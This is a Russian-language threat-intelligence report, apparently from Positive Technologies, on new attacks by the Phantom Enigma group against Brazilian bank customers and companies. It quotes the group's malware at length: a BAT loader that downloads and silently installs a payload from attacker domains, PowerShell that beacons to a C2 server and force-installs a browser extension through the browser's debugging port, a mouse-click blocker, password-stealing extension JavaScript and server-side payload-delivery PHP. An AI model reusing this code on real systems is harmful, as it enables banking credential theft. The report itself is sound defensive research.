PT Expert Security Center

Фантом во плоти. Новые атаки группировки Phantom Enigma

Фантом во плоти. Новые атаки группировки Phantom Enigma

Автор:

Климентий Галкин

Климентий Галкин

Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Ключевые моменты

  • Мы обнаружили новую активность группировки Phantom Enigma в отношении компаний из разных стран и обычных пользователей Бразилии. Ранее мы уже писали об атаках этой группы.
  • Дальнейшее исследование показало, что цепочка атаки на обычных пользователей изменилась: среди прочего появилась новая техника установки вредоносного расширения — через манипуляции в окне браузера жертвы.
  • У группировки появились новые инструменты класса RMM (remote monitoring and management), в том числе Syncro RMM.

Характеристика группировки

Phantom Enigma  — хакерская группировка, действующая предположительно с территории Латинской Америки и использующая в своих атаках вредоносное расширение для браузеров Chrome, Brave, Firefox и других. Основная цель — финансовое обогащение путем кражи учетных данных от аккаунтов пользователей в бразильских банках. Во время исследования группировки было обнаружено два варианта атак: атаки на компании для расширения своей инфраструктуры с использованием программ для удаленного доступа и атаки на обычных пользователей — с вредоносным расширением для кражи учетных данных.

Больше информации об этой группировке вы можете получить на нашем портале PT Fusion.

Введение

Летом 2025 года команда Threat Intelligence экспертного центра кибербезопасности Positive Technologies проанализировала вредоносную кампанию Phantom Enigma, направленную преимущественно на жителей Бразилии с целью кражи банковских аккаунтов. Помимо атак на обычных пользователей, были зафиксированы атаки на организации по всему миру с целью расширения инфраструктуры для дальнейших атак.

Компьютеры пользователей заражались вредоносным расширением для браузеров Firefox, Google Chrome и Microsoft Edge, а инфраструктура организаций попадала под контроль инструментов для удаленного управления, таких как PDQ Connect и Mesh Agent.

Осенью 2025 года специалисты группы киберразведки снова зафиксировали подобные атаки, наблюдая изменения в инструментарии и техниках закрепления. Именно об этих изменениях мы и расскажем вам далее.

Описание атак

Атаки, как и в предыдущей кампании начинаются с фишинга (рис. 1), однако в последних активностях не наблюдается писем с вредоносными вложениями: в большинстве писем используется ссылка на скачивание вредоносной нагрузки с фишинговой страницы (рис. 2). Рассылки велись с четырех IP-адресов:

  • 159.183.229.140
  • 168.245.108.233
  • 168.245.12.100
  • 198.37.159.134
Рис. 1. Пример фишингового письма
Рис. 1. Пример фишингового письма
Рис. 2. Пример фишинговой страницы для скачивания вредоносной нагрузки
Рис. 2. Пример фишинговой страницы для скачивания вредоносной нагрузки

Цепочка атаки на обычных пользователей изменилась незначительно:

  1. Жертва получает фишинговое письмо-накладную со ссылкой на скачивание вредоносной нагрузки.
  2. Ссылка ведет на вредоносный BAT- или VBS-скрипт.
  3. BAT-скрипт или VBS-код скачивает MSI-установщик.
  4. Установщик запускает PowerShell-скрипт, который вызывает EnigmaUiLauncher вместе с EnigmaInterceptor.
  5. EnigmaUiLauncher устанавливает в браузере жертвы вредоносное расширение из установщика.
  6. Вредоносное расширение собирает учетные данные и отправляет на сервер злоумышленников.

Атака на организации включает в себя использование утилит для мониторинга и удаленного управления системой (RMM). Тут цепочка намного проще:

  1. Фишинговое письмо-накладная со ссылкой на скачивание вредоносной нагрузки.
  2. Ссылка ведет на установщик PDQ Connect, MeshAgent, ScreenConnect или Syncro RMM.
  3. Пользователь запускает установщик, утилита удаленного управления связывается с сервером.

Далее мы подсветим актуальные индикаторы компрометации, а также покажем изменения во вредоносном коде атакующих.

Краткий список изменений

  • Изменение логики работы BAT-скрипта или содержимого установщика.
  • Обновление PowerShell-скрипта для установки вредоносного расширения браузера.
  • Обновление PowerShell-скриптов внутри установщиков. Добавлена блокировка нажатий кнопок мыши, чтобы пользователь не мог закрыть окно установки.
  • Постепенный отказ от установки расширений через Chrome Web Store. Причина, возможно, в том, что отдел безопасности Google стал быстрее обнаруживать и удалять вредоносный код, следовательно, хранить там одну из стадий атаки стало рискованно.
  • В атаках на организации стала использоваться утилита класса RMM (remote monitoring and management) компании Syncro.
  • Phantom Enigma разработала собственные С2-панели и панели мониторинга серверов.

Дальше в рассказе мы будем давать точные гиперссылки на разделы из прошлой статьи, чтобы наглядно показать изменения в инструментах атакующих.

Изменение BAT-скрипта

В прошлых атаках BAT-скрипт использовался для загрузки PowerShell-скрипта из открытой директории на сервере злоумышленников. Перед этим BAT-скрипт проверял наличие обновленного интерпретатора PowerShell и прав администратора.

Новый BAT-скрипт выглядит так:
 

cls
@echo off
setlocal enabledelayedexpansion
:: =============================================
:: DETECTAR SE JÁ ESTÁ ELEVADO (ADMINISTRADOR)
:: =============================================
whoami /groups | find "S-1-5-32-544" >nul
if %errorlevel% neq 0 (
:: REINICIAR COM ADMIN, mas SEM JANELA extra
powershell -Command "Start-Process cmd.exe -ArgumentList '/c \"%~f0\" __ADMIN__=1' -Verb RunAs"
exit /b
)
:: =============================================
:: APÓS ELEVADO → REDUZIR JANELA E FICAR SILENCIOSO
:: =============================================
if "%1"=="__ADMIN__=1" (
mode con cols=10 lines=1 >nul 2>&1
cls >nul 2>&1
)
cd /d "%~dp0"
:: =============================================
:: SISTEMA DE DOMÍNIOS ALEATÓRIOS
:: =============================================
set COUNT=0
set "DOMAINS[0]=https://webrelayapi[.]online/getloader.php"
set "DOMAINS[1]=https://atual2025[.]com/getloader.php"
set "DOMAINS[2]=https://notifica-modulo[.]com/getloader.php"
set COUNT=3
set /A INDEX=%RANDOM% %% COUNT
set "SELECTED_URL=!DOMAINS[%INDEX%]!"
 
:: =============================================
:: VERIFICAR INSTALAÇÃO
:: =============================================
if exist "%PUBLIC%\Documents\u.dat" exit /b 0
:: =============================================
:: 1. BAIXAR JSON E CONVERTER ZIP
:: =============================================
curl -s "!SELECTED_URL!" -o data.json
powershell -WindowStyle Hidden -Command ^
"Add-Type -AssemblyName System.Web; $j=Get-Content 'data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('output.zip',[Convert]::FromBase64String($j.encoded_data))} "
if not exist output.zip exit /b 1
:: =============================================
:: 2. BAIXAR 7ZIP E EXTRATIR
:: =============================================
curl -s "https://www.7-zip.org/a/7za920.zip" -o 7za.zip
powershell -WindowStyle Hidden -Command ^
"Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('7za.zip','temp')" 2>nul
:: =============================================
:: 3. EXTRAR ZIP E INSTALAR
:: =============================================
temp\7za.exe x output.zip -p204053 -o"%PUBLIC%\Documents" -y >nul
for %%i in ("%PUBLIC%\Documents\*.msi") do (
msiexec /i "%%i" /qn /norestart >nul
)
:: =============================================
:: FINALIZAR
:: =============================================
echo ✓ > "%PUBLIC%\Documents\u.dat"
del data.json output.zip 7za.zip 2>nul
rmdir /s /q temp 2>nul
del "%PUBLIC%\Documents\*.msi" 2>nul
exit /b

 

  • Наличие возможных прав администратора теперь определяется по группе пользователей.
  • Теперь BAT-скрипт — отдельное опциональное звено цепочки атаки, чтобы загрузить файл установщика.

Результат выполнения BAT-скрипта — загрузка файла установщика с одного из серверов злоумышленников, его распаковка и запуск. Структура данных, получаемая от конечной API-ссылки getloader.php, выглядит так:
 

{
 "status": "success",
 "version": "2.0",
 "domain": "<C2>",
 "file_info": {
   "original_name": "NotaFiscal.pdf.zip",
   "file_size": 57533,
   "encoded_size": 76712,
   "checksum": "077ce8f9fae6a4d3f8d9972c6a0fa684",
   "password_required": true
 },
 "encoded_data": "<BASE64_DATA>",
 "timestamp": 1763724397,
 "server_id": "racknerd-f982c94",
 "instructions": "Use a senha: <password> para extrair o arquivo"
}


Существует и другой вариант BAT-скрипта, который выполняет те же действия, но вредоносная нагрузка скачивается со страницы GitHub.

Рис. 3. Пример использования GitHub в атаках Phantom Enigma
Рис. 3. Пример использования GitHub в атаках Phantom Enigma
Рис. 4. Содержимое одного из репозиториев
Рис. 4. Содержимое одного из репозиториев

Установка вредоносного расширения

Теперь установщик, в отличие от предыдущих версий, сразу содержит PowerShell-скрипт, запускаемый через планировщик задач, и ряд других архивов, о которых мы расскажем дальше. Сам скрипт установщик запускает через запланированную задачу KalebAutoRun:
 

RunKalebViaScheduler 3106 INSTALLFOLDER cmd.exe /c schtasks /create /tn "KalebAutoRun" /tr "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"C:\Users\Public\Documents\kaleb.ps1\"" /sc once /st 00:00 /ru %USERDOMAIN%\%USERNAME% /rl HIGHEST /f && schtasks /run /tn "KalebAutoRun"


Вот фрагмент скрипта:

Рис. 5. Фрагмент PowerShell-скрипта из установщика
Рис. 5. Фрагмент PowerShell-скрипта из установщика

Алгоритм работы скрипта:

  1. Проверка, существуют ли директории с такими же названиями, как у архивов. Если да, все файлы из директорий удаляются.
  2. Распаковка и запуск скриптов из архива ext.zip: mse.ps1 (PowerShell-стилер для Chrome), edge.ps1 (PowerShell-стилер для Edge), mso.ps1 (блокировщик нажатий кнопок мыши).
  3. Зачистка следов: удаление запланированной задачи, удаление распакованных файлов и архивов, остановка msiexec.exe.

EnigmaUiLauncher

EnigmaUiLauncher — это вредоносный PowerShell-скрипт, который мы встречали в вариантах для Chrome (chrome.ps1, chr.ps1) и Edge (edge.ps1). Функциональные возможности EnigmaUiLauncher намного шире, чем у PowerShell-скрипта и JavaScript-кода, о которых мы говорили в разделе про MSI-установщик из прошлых атак. Во время работы скрипта результаты работы логируются на внешний сервер через HTTPS.

Логирование выглядит так:
 

$global:logFileName2 = "LOG_$((Get-Date).ToString('yyyy-MM-dd_HH_mm')).json"
function Log-Message {
   param (
       [string]$mensagem2,
       [string]$etapa2 = "INFO",
       [bool]$success = $true,
       [hashtable]$meta2 = $null
   )
   try {
       $bexiga = $env:COMPUTERNAME
       # --- [AJUSTE] --- Adiciona log_file_name ao payload
       $payload2 = @{
           computer = $bexiga
           log_file_name = $global:logFileName2
           etapa = $etapa2
           success = $success
           mensagem = $mensagem2
           meta = $meta2
           timestamp = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ss")
       } | ConvertTo-Json -Depth 20
   # --- FIM DO AJUSTE ---
   # Envia para a API (ajuste a URL se necessário)
       try {
           $apiEndpoint = "https" + "://novoservidor2026[.]com/painelgpt/api.php"
           Invoke-RestMethod -Uri $apiEndpoint -Method Post -Body @{ log = $payload2 } -ErrorAction Stop | Out-Null
       } catch {
           # Se falhar, ainda escrevemos no console (não interrompe execução)
           Write-Host "Falha ao enviar log para API: $($_.Exception.Message)"
       }
       # Print localmente também para debug direto
       Write-Host "[$etapa2] ($([string]$success)) $mensagem2"
       if ($meta2) {
           Write-Host " meta: $($meta2 | ConvertTo-Json -Depth 5)"
       }
   }
   catch {
       # Write-Host "Erro em##Log-Message: $_"
   }
}
Рис. 6. Пример запроса в интерфейсе Wireshark
Рис. 6. Пример запроса в интерфейсе Wireshark

Сначала скрипт запускает задачу с блокировщиком нажатий кнопок мыши (подробнее см. EnigmaInterceptor):
 

$cmd = "'powershell.exe' -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass -File c:\users\public\documents\mso.ps1"
schtasks /create /tn "msee" /tr $cmd /sc once /st 23:59 /rl HIGHEST /ru $user /it /f
Start-sleep -Seconds 2
schtasks /run /tn "msee"


После запуска задачи происходит несколько проверок, чтобы убедиться, что пользователь зараженной системы находится в Бразилии. При этом скрипт в любом случае продолжает работу:

  • Поиск сервиса Warsaw Technology, необходимого для работы с бразильскими банковскими системами. Такая проверка присутствовала и в прошлых атаках.
  • Проверка истории браузера на наличие доменов gerenciador.caixa.gov.br и autoatendimento.bb.com.br.

Фрагмент кода с проверкой истории браузера:
 

$giboia2 = "C:\Users"
$umping2 = Join-Path -Path $giboia2 -ChildPath $user
$userData = Join-Path -Path $umping2 -ChildPath "AppData\Local\Microsoft\Edge\User Data"
$diretoriosBase = @("$userData")
foreach ($diretorioBase in $diretoriosBase) {
   try {
       Get-ChildItem -Path $diretorioBase -Recurse -File -Filter "HISTORY" -ErrorAction SilentlyContinue | ForEach-Object {
           try {
               $resultado = Verificar-History -arquivo $_.FullName
               if ($resultado) {
                   Log-Message "Arquivo: $($_.FullName)" "HISTORY_FILE" $true @{ arquivo = $_.FullName }
                   $resultado.GetEnumerator() | ForEach-Object {
                       Log-Message "$($_.Key): $($_.Value)" "HISTORY_MATCH" ($_.Value -eq "Encontrado") @{ pattern = $_.Key; status = $_.Value }
                   }
               } else {
                   Log-Message "Arquivo HISTORY vazio ou inacessível: $($_.FullName)" "HISTORY_FILE" $false @{ arquivo = $_.FullName }
               }
           } catch {
           Log-Message "Erro ao processar arquivo HISTORY $($_.FullName): $_" "HISTORY_FILE" $false
           }
       }
   } catch {
   Log-Message "Erro ao enumerar $diretorioBase: $_" "HISTORY_SEARCH" $false
   }
}


Самая важная часть — алгоритм установки вредоносного расширения путем нажатия определенных кнопок в браузере жертвы. В коде определено несколько классов и функций, которые позволяют манипулировать положением окна браузера и его элементами (кнопками, полями ввода). Вот их полный список.

ФункцияОписание
Clear-EditFieldОчистка поля ввода. Работает на основе функции SendMessage, в которую передается дескриптор окна кнопки и системное сообщение WM_CLEAR
Click-ButtonНажатие на кнопку. Аналогично очистке вызывается WinAPI-функция SendMessage, в качестве аргумента используется сообщение с кодом 0×00F5
Find-ChildWindowByClassПоиск дочернего окна по названию класса. Работает на основе WinAPI-функции EnumChildWindows
Find-EdgeWindowByTitleЦиклический поиск окон, у которых в названии есть подстроки edge и microsoft. Работает на основе функции EnumWindows
Find-EdgeWindowByTitle2Аналогично Find-EdgeWindowByTitle
Find-WindowByExactTitleАналогично Find-EdgeWindowByTitle, только работает не для браузера Edge (Chrome), а для подстрок Selec и extens
Get-EdgeWindowВозвращает дескриптор окна активного процесса браузера
Get-TextFromEditFieldПолучает 256 байт из поля ввода по его дескриптору, используя WinAPI-функцию SendMessage с кодом WM_GETTEXT
Hide-EdgeПрячет активное окно браузера, перемещая его с помощью WinAPI-функции SetWindowPos на отрицательные координаты (−9999, −9999), устанавливая размер окна в 800×600
Insert-TextIntoEditУстанавливает в поле ввода с указанным дескриптором текст из переменной $text путем использования WinAPI-функции SendMessage с кодом WM_CHAR
Monitor-WindowAndClickButton2В качестве аргумента принимает текст кнопки, которую нужно найти, — Selecionar pasta (Выберите папку), и полный путь к вредоносному расширению. Количество попыток поиска кнопки с переданным текстом регулируется параметром функции maxAttempts и изначально равно 30. Используя ранее описанную функцию Find-WindowByExactTitle, этот код находит в браузере вкладку Select Extension (Выберите расширение), по дескриптору полученной вкладки находит кнопку и поле для ввода. Нажимает на кнопку и вводит текст в поле для указания пути к расширению
Move-EdgeMultipleTimesВызывает функцию Move-EdgeWindow столько раз, сколько указано в переменной $times. По умолчанию значение переменной равно 4
Move-EdgeSingleTimeАналогично Move-EdgeMultipleTimes
Move-EdgeWindowПеремещает окно браузера на координаты 999999, 999999
Restore-EdgeWindowPositionВозвращает окно браузера на позицию с координатами 800, 200 и с размером 800×600
Send-CDPCommandОтправка команд в браузере через Chrome DevTools. Используется для импорта расширения. Подробнее об этом ниже
Send-CDPCommandDirectАналогично Send-CDPCommand, но команда отправляется уже определенной вкладке по ее идентификатору
Show-EdgeВыводит окно браузера на позицию с координатами 100, 100 и размером 1200×800

Остановимся на функциях Send-CDPCommand и Send-CDPCommandDirect. Вот отрывок кода из первой функции:
 

function Send-CDPCommand {
   param (
       [string]$url,
       [string]$method,
       [hashtable]$params,
       [string]$sessionId = $null
   )
   try {
       $client = [System.Net.WebSockets.ClientWebSocket]::new()
       $uri = [System.Uri]$url
       Write-Host "Conectando-se ao WebSocket: $url"
       ##Log-Message "Connect WebSocket (Send-CDPCommand)" "CDP" $true @{ url = $url }
       $client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait()
       if ($client.State -ne [System.Net.WebSockets.WebSocketState]::Open) {
           Write-Error "Falha de conexão CDP"
           ##Log-Message "Falha de conexão CDP (Send-CDPCommand)" "CDP" $false @{ url = $url; state = $client.State.ToString() }
           return $null
       }
       # Montar a mensagem JSON
       $msg = @{
           id = 1
           method = $method
           params = $params
       }
       if ($sessionId) { $msg.sessionId = $sessionId }
       $msgJson = $msg | ConvertTo-Json -Depth 10
       Write-Host "Enviando comando CDP: $msgJson"
       ##Log-Message "Enviando comando CDP" "CDP_SEND" $true @{ method = $method; params = $params; msg = $msgJson }
       # Enviar a mensagem
       $bytes = [System.Text.Encoding]::UTF8.GetBytes($msgJson)
       $segment = [System.ArraySegment[byte]]$bytes
       $client.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [Threading.CancellationToken]::None).Wait()
       # Receber a resposta
       $buffer = New-Object Byte[] 4096
       $recvSegment = [System.ArraySegment[byte]]$buffer
       $recvResult = $client.ReceiveAsync($recvSegment, [Threading.CancellationToken]::None).Result
       $respJson = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $recvResult.Count)
       Write-Host "Resposta do comando CDP: $respJson"
       ##Log-Message "Resposta do CDP recebida" "CDP_RECV" $true @{ response = $respJson }
       return $respJson
   } catch {
       Write-Host "Erro ao enviar comando CDP: $_"
       ##Log-Message "Erro ao enviar comando CDP: $_" "CDP" $false
       return $null
   }
}


Цель функции — через протокол CDP (Chrome DevTools Protocol) выполнить JavaScript-код, импортирующий вредоносное расширение. Более подробно с этим протоколом можно ознакомиться по ссылке. Чтобы работать через сокет по этому протоколу, нужно запустить браузер в режиме отладки — это делается ранее в PowerShell-скрипте. Вот пример команды с аргументами:
 

schtasks /create /tn "$novoNome2" /tr "'$edgeExe' --remote-debugging-port=9223 --user-data-dir='$userDataTemp'" /sc once /st 23:59 /rl HIGHEST /ru $user /it /f
schtasks /run /tn "$novoNome2"


В контексте EnigmaUiLauncher выполняются следующие команды:

  • Открыть вкладку edge://extensions (или chrome://extensions) и вернуть ID этой вкладки:
     
$devtoolsJson = Invoke-RestMethod "http://localhost:$debugPort/json/version"
$wsUrl = $devtoolsJson.webSocketDebuggerUrl
$targetResponse = Send-CDPCommand -url $wsUrl -method "Target.createTarget" -params @{ url = "edge://extensions" }

 

  • Для этой вкладки по ID выполнить JavaScript-код, который нажмет на кнопку импорта распакованного расширения:
     
$newJs = "(function(){var c=document.getElementById('developer-mode');if(c&&!c.checked)['mousedown','mouseup','click'].forEach(e=>c.dispatchEvent(new MouseEvent(e,{view:window,bubbles:true,cancelable:true,buttons:1})));setTimeout(()=>{for(var q of document.getElementsByTagName('button')){var t=q.getAttribute('title')||'';if(t.includes('sem pacote')||t.includes('unpacked')){q.click();break;}}},1000);})();"
Write-Host $wsUrl
$paramsNewJs = @{ expression = $newJs }
$targetWsUrl = "ws://localhost:$debugPort/devtools/page/$targetId"
Send-CDPCommandDirect -wsUrl $targetWsUrl -method "Runtime.evaluate" -params $paramsNewJs


В итоге алгоритм работы EnigmaUiLauncher выглядит так:

  1. Запустить блокировщик нажатий мыши (EnigmaInterceptor).
  2. Проверить сервисы и историю браузера на предмет специфичных для бразильских пользователей артефактов.
  3. Найти запущенный браузер и перезапустить его с портом для отладки.
  4. Открыть окно браузера и тут же переместить его в сторону для закрепления расширения.
  5. По протоколу CDP открыть вкладку с расширениями и импортировать распакованное расширение (исходный код которого находится в установщике).
  6. Вернуть окно браузера в нормальное состояние, закрыть вкладку с расширениями.
  7. Зачистить следы, убрать лишние файлы.

EnigmaInterceptor

Сам скрипт представляет из себя простой класс на C#, который выставляет перехват на нажатие левой кнопки мыши и блокирует это событие через BlockMouseClicks:
 

Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MouseInterceptor {
   [DllImport("user32.dll")]
   public static extern int SetWindowsHookEx(int idHook, MouseHookDelegate lpfn, IntPtr hInstance, uint threadId);
   [DllImport("user32.dll")]
   public static extern bool UnhookWindowsHookEx(int idHook);
   [DllImport("user32.dll")]
   public static extern int CallNextHookEx(int idHook, int nCode, IntPtr wParam, IntPtr lParam);
   public delegate int MouseHookDelegate(int nCode, IntPtr wParam, IntPtr lParam);
   public const int WH_MOUSE_LL = 14;
   public const int WM_LBUTTONDOWN = 0x201;
   public const int WM_LBUTTONUP = 0x202;
   public static int HookId = 0;
   public static int BlockMouseClicks(int nCode, IntPtr wParam, IntPtr lParam) {
       if (nCode >= 0 && wParam == (IntPtr)WM_LBUTTONDOWN) {
           // Se o botão esquerdo for pressionado, ignorar o evento
           return 1; // Ignora o clique
       }
       return CallNextHookEx(HookId, nCode, wParam, lParam);
   }
}
"@
# Criar um delegate diretamente para a função BlockMouseClicks
$hookDelegate = [MouseInterceptor+MouseHookDelegate] {
   param ($nCode, $wParam, $lParam)
   return [MouseInterceptor]::BlockMouseClicks($nCode, $wParam, $lParam)
}
$hookInstance2 = [System.IntPtr]::Zero
$hookId = [MouseInterceptor]::SetWindowsHookEx([MouseInterceptor]::WH_MOUSE_LL, $hookDelegate, $hookInstance2, 0)
Start-Sleep -Seconds 60
[MouseInterceptor]::UnhookWindowsHookEx($hookId)
Start-Sleep 1; Remove-Item "C:\users\public\documents\ambiente.msi" -Force
Start-Sleep 1; Remove-Item $MyInvocation.MyCommand.Path -Force

Изменения в коде вредоносного расширения EnigmaBanker

Основное изменение, связанное с вредоносным расширением EnigmaBanker, — постепенный отказ от использования магазинов расширений (например, Chrome Web Store). К техническим изменениям можно отнести следующие:

  • Явное указание доменов, на которые расширение устанавливает перехватчики: autoatendimento2.bb.com.br и autoatendimento.bb.com.br. В ранних атаках поиск происходил только по подстрокам в ссылке вкладки, например по /armazenar-senha-conta.
  • В основном файле расширения теперь есть код, который получает идентификатор пользователя из банковских систем и отправляет запрос на Background Worker для его сохранения в локальном хранилище и группировки информации у себя на сервере. Идентификатор отправляется на сервер вместе с данными в свойстве data.identificacaoUsuario.
     
document.addEventListener('input', (event) => {
     const target = event.target
     if (target.name === 'senha' && target.value.length === 8) {
         const segredo = target.value;
         const campoj = document.getElementsByName('identificador')[0];
         const segredoj = campoj?.value || '';
         const messageKey = `${segredo}-${segredoj}-${Date.now()}`;
         if (!messagesSent.has(messageKey)) {
             chrome.runtime.sendMessage({
                 s: segredo,
                 j: segredoj
         }, function (response) {
                 return false;
         });
         messagesSent.add(messageKey);
         setTimeout(() => messagesSent.delete(messageKey), 5000);
     }
 }
});

 

  • Для тела страницы создается наблюдатель, который вызывает функцию clearPasswordField, очищающую пользовательский ввод пароля, тем самым побуждая жертву ввести пароль снова. Функция работает через определенные интервалы времени:
     
const clearPasswordField = () => {
 const campo = document.getElementsByName("senha")[0];
 if (campo && !campo.hasAttribute('data-cleared')) {
     campo.value = "";
     campo.setAttribute('data-cleared', 'true');
 }
};


Сам код Background Worker’а остался без серьезных изменений.

Анализ инфраструктуры

В ходе исследования вредоносных файлов мы обнаружили несколько доменов, имеющих разное предназначение:

  • домен Opendir-сервера
  • домен C2 для вредоносных расширений
  • домен C2 для EnigmaUiLauncher

Значительная часть доменов мимикрирует под банковскую сферу, тему накладных или под легитимные узлы инфраструктуры: используются слова nota, fiscal, computador, eletronica, system и другие. Сама инфраструктура теперь находится за Cloudflare-балансировщиками.

Другой пример поиска конечных серверов для вредоносных расширений — работа с HTML-разметкой панели входа. Так, например, перейдя по ссылке http://systemcloud26[.]com/ (домен из исходного кода вредоносного расширения браузера), можно заметить заголовок Login - Painel и использование инструмента для сбора статистики. Учитывая то, что рассматриваемый сервер находится за серверами Cloudflare, можно выйти на ряд других вредоносных доменов:

  • novoservidor2026.com
  • securepainelx.com
  • datasyncpanel.online
  • sistemacloudx.com

Результаты поиска удалось проверить, перейдя по ссылке /enjoy.php.

Изучая узлы вредоносной инфраструктуры более детально, мы обнаружили любопытную страницу (рис. 7). Часть ссылок на момент написания статьи уже не работала, но нам удалось разобраться в оставшихся путях.

Рис. 7. Тело ответа одного из вредоносных серверов
Рис. 7. Тело ответа одного из вредоносных серверов

Механизм резервного копирования

Ссылка на эндпойнт /backup.php позволяла сгенерировать файл с резервной копией определенного содержимого (рис. 9) и сохранить его на сервер по пути /backups/<filename>. В результате архив с резервной копией давал доступ к исходному коду других эндпойнтов (например, к панели мониторинга).

Рис. 8. Тело ответа механизма резервного копирования
Рис. 8. Тело ответа механизма резервного копирования
Рис. 9. Структура архива с резервной копией
Рис. 9. Структура архива с резервной копией

Файлы ip_cache.json и monitor_access.json содержат информацию о датах обращения всех IP-адресов к панели управления. Файл downloads.log хранит информацию о скачивании файла с определенного IP-адреса в следующем формате:
 

2025-11-21 11:26:37 DOMAIN:<Evil Domain> IP:<IP> SIZE:57533 STATUS:SUCCESS
[2025-11-23 03:34:17] Folder: DIRECT_DOWNLOAD | File: documento_seguro.zip | IP: <IP>


Файл reset.log хранит информацию о клиенте, который нажал на кнопку сброса статистики скачиваний файлов, в следующем формате:
 

[2025-11-23 20:34:50] RESET: Downloads zerados por <IP>

Панель мониторинга серверов

Ссылка на /monitor.php содержала подробную статистику посещений некоторых из вредоносных доменов, а также количеству скачиваний вредоносной нагрузки (рис. 10). Данные в этой панели позволили выйти на другие домены инфраструктуры и оценить активность по каждому из них.

Рис. 10. Панель мониторинга вредоносных серверов
Рис. 10. Панель мониторинга вредоносных серверов

Вот фрагмент исходного кода панели:

Рис. 11. Фрагмент исходного кода файла monitor.php
Рис. 11. Фрагмент исходного кода файла monitor.php

Помимо названий файлов с журналами событий, в этом коде можно заметить еще ряд особенностей:

  • На запросы к панели мониторинга установлен лимит — 50 запросов в час с одного адреса. Чтобы это контролировать, есть файл monitoring_access.json, который хранит временные метки обращения для каждого IP-адреса в массиве.
  • Сами вредоносные домены вшиты в код вредоноса, однако, наблюдая за панелью, мы смогли получить статистику и по другим доменам. Так, например, мы обнаружили скачивание полезной нагрузки по другому, не зафиксированному в коде домену — bancopatrimonial[.]com. То есть собирается статистика с доменов, которые также находятся на IP-адресе сервера.

Генерация полезной нагрузки

Последняя, но немаловажная часть резервной копии — исходный код на стороне сервера, который формирует ответ с полезной нагрузкой для системы жертвы. Именно к ней обращается BAT-скрипт, который мы рассмотрели ранее, — /getloader.php. Вот фрагмент исходного кода:
 

$ip = getRealIP();
$country = getCountryWithCache($ip);
// **BLOQUEIO APENAS SE DETECTAR PA�S DIFERENTE DE BRASIL**
if ($country !== null && $country !== 'BR') {
   logBlockedAccess($ip, 'Fora do Brasil', $country);
   deliverEmptyZip();
}
// ================================
// ENTREGA DO ARQUIVO REAL (ZIP BASE64)
// ================================
if (!file_exists($zip_file)) {
   deliverEmptyZip();
}
$content = file_get_contents($zip_file);
$size = filesize($zip_file);
$base64 = base64_encode($content);
$domain = $_SERVER['SERVER_NAME'] ?? 'desconhecido';
// Log para servidor mestre
$payload = json_encode([
   "token" => $MASTER_TOKEN,
   "datetime" => date("Y-m-d H:i:s"),
   "domain" => $domain,
   "file" => basename($zip_file),
   "size" => $size,
   "ip" => $ip,
   "country" => $country,
   "status" => "success"
], JSON_UNESCAPED_SLASHES);
 
$ch = curl_init($master_collector);
curl_setopt_array($ch, [
   CURLOPT_POST => 1,
   CURLOPT_POSTFIELDS => $payload,
   CURLOPT_HTTPHEADER => ["Content-Type: application/json"],
   CURLOPT_RETURNTRANSFER => true,
   CURLOPT_TIMEOUT => 3
]);
curl_exec($ch);
curl_close($ch);
// Retorna o arquivo real (JSON para o .BAT)
echo json_encode([
   "status" => "success",
   "encoded_data" => $base64,
   "password" => "204053",
   "size" => $size
]);


Этот фрагмент — ключевой в коде. Благодаря ему можно понять, на что влияет проверка бразильских пользователей. Если система жертвы находится не на территории Бразилии согласно данным ipinfo[.]io, сервер возвращает файл, заполненный нулевыми байтами. Если же все в порядке — возвращается уже известный JSON-объект с паролем для распаковки архива.

В любом случае при обращении за полезной нагрузкой IP-адрес системы жертвы кэшируется в отдельный файл и хранится там один час. Сделано это для того, чтобы не расходовать API-запросы по токену, которых в бесплатной версии IPInfo — 50 000 в месяц.

Потенциальные жертвы и статистика скачиваний

Когда мы говорим об атаках группировки Phantom Enigma, всегда стоит разделять жертв на две категории: на компании и обычных пользователей. Далее мы покажем статистику по этим категориям за сентябрь — ноябрь 2025 года.

Потенциальные жертвы среди обычных пользователей

В ходе исследования мы обнаружили более 3500 вредоносных файлов, а панель мониторинга злоумышленников показывала около 5390 скачиваний первоначальной полезной нагрузки (.bat и .vbs-файлы). Учитывая то, что скачивание загрузчика невозможно из других стран, кроме Бразилии, 5273 скачивания оказались корректными. Скачиваний установщиков сильно меньше — 143. Обосновано это тем, что существующие антивирусные решения достаточно хорошо блокируют разработанные скрипты.

Рис. 12. Статистика скачиваний на разных этапах атаки

Потенциальные жертвы среди организаций

Для расширения инфраструктуры группировка заражает организации из различных сфер экономики. Используя телеметрию и данные из открытых источников, мы определили, что потенциальными жертвами вредоносной рассылки могли стать организации из сферы консалтинга и менеджмента, а также компании из отраслей логистики, ритейла, химической промышленности и ИТ. Количество таких атак на порядок меньше: всего обнаружено около 15 файлов.

Предполагаемая география группировки

Внимательно изучив скрипты, используемые группировкой Phantom Enigma, мы выявили ряд особенностей. Учитывая эти уникальные признаки и географию атак, можно делать предположения о местонахождении участников группировки.

Большая часть скриптов написана с помощью чат-ботов вроде ChatGPT, DeepSeek и других. На это указывает несколько моментов:

  • Комментирование кода на португальском языке для каждой функции или важной части кода (запуск запланированной задачи, математические операции и т. п.):
     
// monitor.php - SISTEMA COMPLETO MULTI-DOMÍNIO (LOG JSON + LOADER + EMOJIS)
# --- [AJUSTE] --- Adiciona log_file_name ao payload

 

  • Использование эмодзи и других «украшений» в коде:
     
Write-Host "✅ Janela do Edge movida com sucesso."
Write-Host "❌ Janela do Edge não encontrada. Tentando novamente..."

 

  • Дублирование одного и того же кода в EnigmaUiLauncher. В коде присутствует больше трех C#-классов, импортирующих одни и те же WinAPI-функции. Такое может происходить либо когда код генерировали несколько человек и объединяли в один файл, либо когда код дробился на части, чтобы поместить его в контекст сообщения.

С учетом жертв и географии атак первой кампании исследования, а также особенностей кода скриптов можно предположить, что злоумышленники находятся на территории Латинской Америки.

Вывод

